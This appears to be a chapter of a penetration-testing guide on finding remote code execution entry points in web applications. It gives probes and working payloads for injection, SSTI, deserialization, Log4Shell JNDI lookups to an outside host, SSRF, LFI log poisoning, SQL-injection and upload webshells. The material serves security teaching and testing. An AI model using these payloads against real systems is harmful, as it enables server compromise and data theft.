RCE Entry Points
Checklist
- Enumerate every input: params, headers, cookies, JSON fields, file uploads, and any blob the app deserializes.
- For each input, decide which sink class it could reach.
- Test the cheap classes first: command injection, SSTI, eval.
- Look for serialized data formats (base64 markers, content types).
- Note where output is reflected, since that drives detection.
- Record every candidate and move confirmation to the detection chapter.
Each class below follows the same format: what it is, where it appears, how to spot it, a minimal PoC, and the escalation path to a shell.
Command injection
What it is: user input reaches a shell and you append your own command.
Where it appears: ping and traceroute tools, PDF and image converters that call convert or ffmpeg, backup and archive features, git integrations, DNS lookups, any feature that shells out.
How to spot it: inject ;id, | id, $(id), `id`, and a newline. Watch for command output, a time delay with ; sleep 5, or an out of band hit.
Minimal PoC: host=127.0.0.1;id.
Escalation: go straight to a reverse shell one liner from the exploitation chapter.
Code injection via eval
What it is: input is evaluated as source code in the app language.
Where it appears: calculator or formula features, rule engines, “advanced search” filters, serialized callbacks, debug endpoints.
How to spot it: send language specific probes. PHP phpinfo(), Python __import__('os').system('id'), Node process.mainModule.require('child_process').execSync('id'), Ruby backticks.
Minimal PoC (Python eval): __import__('os').popen('id').read().
Escalation: call the language process sink to spawn a shell.
Java deserialization
What it is: the app calls readObject on bytes you control, and a gadget chain in the classpath turns deserialization into code execution.
Where it appears: RMI, JMX, custom TCP protocols, viewstate like tokens, caches, message queues, and any HTTP body or cookie that is base64 of a serialized object.
How to spot it: serialized Java starts with magic bytes AC ED 00 05, which is rO0AB in base64. Look for that prefix.
Minimal PoC: generate a payload with ysoserial for a chain that matches the classpath, for example CommonsCollections, and send it where the serialized object is read.
Escalation: the gadget runs in the JVM, so request a command directly in the chain.
PHP deserialization
What it is: unserialize() on attacker input triggers magic methods (__wakeup, __destruct, __toString) on classes that exist in the app, forming a property oriented programming (POP) chain.
Where it appears: cookies, cache entries, hidden form fields, API tokens that are base64 serialized PHP.
How to spot it: serialized PHP looks like O:4:"User":1:{...}. Decode base64 inputs and check.
Minimal PoC: build a POP chain by hand, or use PHPGGC for known frameworks such as Laravel or Symfony.
Escalation: the chain reaches a file write, a call, or an include that you turn into code execution.
Python pickle
What it is: pickle.loads runs the __reduce__ method during unpickling, which can call any function.
Where it appears: caches, session stores, machine learning model files, task queues like Celery, any API that accepts a pickled object.
How to spot it: pickle opcodes often begin with \x80 followed by a protocol byte. Base64 of a pickle frequently starts with gAS or gA.
Minimal PoC: a class whose __reduce__ returns (os.system, ("id",)), pickled and sent.
Escalation: __reduce__ runs your callable at load time, so spawn a shell.
.NET deserialization
What it is: unsafe formatters turn attacker bytes into objects that execute code. BinaryFormatter, LosFormatter, ObjectStateFormatter (ViewState), DataContractJsonSerializer, and Json.NET with TypeNameHandling are the usual culprits.
Where it appears: ASP.NET ViewState, WCF endpoints, remoting, cookies, and JSON APIs that embed type names ($type).
How to spot it: ViewState is base64 in the __VIEWSTATE field. JSON with a $type property signals TypeNameHandling.
Minimal PoC: generate a gadget with ysoserial.net for the matching formatter, and when ViewState is unprotected, send it in __VIEWSTATE.
Escalation: the gadget runs in the worker process.
YAML deserialization
What it is: unsafe YAML loaders instantiate arbitrary types from tags.
Where it appears: config upload features, API bodies that accept YAML, SnakeYAML in Java services, PyYAML load in Python.
How to spot it: the endpoint accepts YAML and you can include a type tag such as !!python/object/apply or a Java !!javax.script... tag.
Minimal PoC (PyYAML unsafe): !!python/object/apply:os.system ["id"].
Escalation: the loader builds an object that runs your command. See HummerRisk SnakeYAML in the case studies chapter.
SSTI: Jinja2, Twig, Freemarker, Velocity, ERB, Handlebars
What it is: user input is concatenated into a template that the server then renders, so your input becomes template code.
Where it appears: email and notification templates, “customize your page” features, error pages that echo input, any place a value lands inside a rendered template rather than being passed as data.
How to spot it: send {{7*7}} and ${7*7} and #{7*7} and <%= 7*7 %>. If the response shows 49, the engine evaluated it. The payload that renders tells you which engine.
Minimal PoC per engine:
- Jinja2:
{{7*7}}then{{ cycler.__init__.__globals__.os.popen('id').read() }}. - Twig:
{{7*7}}then{{ ['id']|filter('system') }}. - Freemarker:
${7*7}then${"freemarker.template.utility.Execute"?new()("id")}. - Velocity:
#set($x=7*7)$xthen aRuntime.execreflection chain. - ERB:
<%= 7*7 %>then<%= system('id') %>. - Handlebars: prototype based payloads that reach
require('child_process').
Escalation: each engine has a known path from template context to the language runtime. From there, spawn a shell.
Expression injection: SpEL, OGNL, MVEL
What it is: Spring Expression Language, OGNL (Struts), and MVEL evaluate strings as code. User input that reaches an expression evaluator becomes code.
Where it appears: Spring @Value and SpEL in security rules, Struts 2 action parameters, workflow and rule engines.
How to spot it: probe with ${7*7} or %{7*7} depending on the framework, and watch for 49.
Minimal PoC (SpEL): T(java.lang.Runtime).getRuntime().exec("id").
Escalation: the expression runs in the JVM.
Log4Shell and JNDI injection
What it is: Log4j evaluated ${jndi:...} lookups in logged strings, so a logged attacker value triggered a JNDI lookup to an attacker server that returned a malicious class.
Where it appears: anything logged, which means almost any field. User agent, X-Forwarded-For, username, search terms.
How to spot it: send ${jndi:ldap://YOURID.oast.fun/a} in each field and watch interactsh for a DNS or LDAP hit.
Minimal PoC: User-Agent: ${jndi:ldap://YOURID.oast.fun/a}.
Escalation: serve a gadget or a class from your LDAP or RMI server and the victim loads it.
SSRF to Redis, FastCGI, Docker socket
What it is: a server side request forgery lets you reach an internal service that trusts local callers, and that service turns into code execution.
Where it appears: URL fetchers, webhooks, PDF generators, image proxies, any field that takes a URL.
How to spot it: point the SSRF at http://127.0.0.1 and internal ports, then at the specific services.
Escalation paths:
- Redis: write a cron job or an SSH key, or set the module/RDB path, using
gopher://to speak the Redis protocol. - FastCGI on port 9000: craft a FastCGI record with
gopher://to setPHP_VALUEand run code viaphp-fpm. - Docker socket at
/var/run/docker.sock: if reachable over HTTP, create a container that mounts the host filesystem, which is root on the host.
Minimal PoC: url=gopher://127.0.0.1:6379/_<redis commands>.
LFI to RCE
What it is: a local file include lets you include a file whose contents you partly control, so the interpreter runs it.
Where it appears: page=, template=, lang=, include= parameters.
Escalation paths:
- Log poisoning: inject PHP into a log file (access log User-Agent, auth log, mail), then include the log.
- Session files: write PHP into your own session file, then include
/var/lib/php/sessions/sess_<id>. - PHP wrappers:
php://filterto read source,data://andexpect://when enabled to run code,phar://to trigger deserialization. /proc/self/environand pearcmd tricks on specific setups (see HTB Pterodactyl).
Minimal PoC: page=../../../../var/log/nginx/access.log after sending User-Agent: <?php system($_GET['c']); ?>, then &c=id.
SQL injection to RCE
What it is: SQL injection that reaches file write or command features of the database.
Escalation paths:
- MySQL/MariaDB:
INTO OUTFILEorINTO DUMPFILEto write a webshell into the webroot, whensecure_file_privallows and you know the path. - Microsoft SQL Server:
xp_cmdshellto run OS commands, when enabled or you can enable it as sysadmin. - PostgreSQL:
COPY ... TO PROGRAMto run commands, or aplpython/plperlfunction.
Minimal PoC (MySQL): ' UNION SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php' -- -.
XXE to RCE
What it is: XML external entity processing that reaches code execution, usually through the PHP expect wrapper or by chaining to SSRF.
Where it appears: XML APIs, SOAP, SVG and DOCX and XLSX uploads, SAML.
Escalation paths:
- PHP with
expectenabled:<!ENTITY x SYSTEM "expect://id">. - Otherwise chain XXE to SSRF and reach an internal service from the SSRF section.
Minimal PoC: a DOCTYPE with an external entity that the response reflects, first proving XXE, then escalating.
File upload to webshell
What it is: you upload a file that the server will execute as code.
Where it appears: avatar and document uploads, import features, media libraries.
How to spot it: upload a benign file, find where it lands and whether that path executes code. Then test extension, content type, and content checks.
Escalation paths: covered in detail in the bypasses chapter. The short list is extension tricks (.phtml, .php5, double extension, trailing dot, null byte on old stacks), content type spoofing, magic byte prefixes, .htaccess to make a new extension executable, and web.config on IIS.
Minimal PoC: upload shell.phtml with <?php system($_GET['c']); ?> when .phtml is mapped to PHP.
Web console RCE
What it is: an admin or debug console that runs code or queries by design, reached with weak or default credentials.
Where it appears: phpMyAdmin, Adminer, Jenkins script console, Grafana, Metabase, Spring Boot actuators, H2 console, Jupyter.
Escalation: phpMyAdmin gives you SQL, so use the SQLi to RCE paths. Jenkins script console runs Groovy. Actuator /jolokia or /env can be abused. Treat the console as a legitimate sink you authenticated into.
Where to go next
Take every candidate you logged here to the Detection chapter to confirm it, then to Exploitation to turn it into a shell.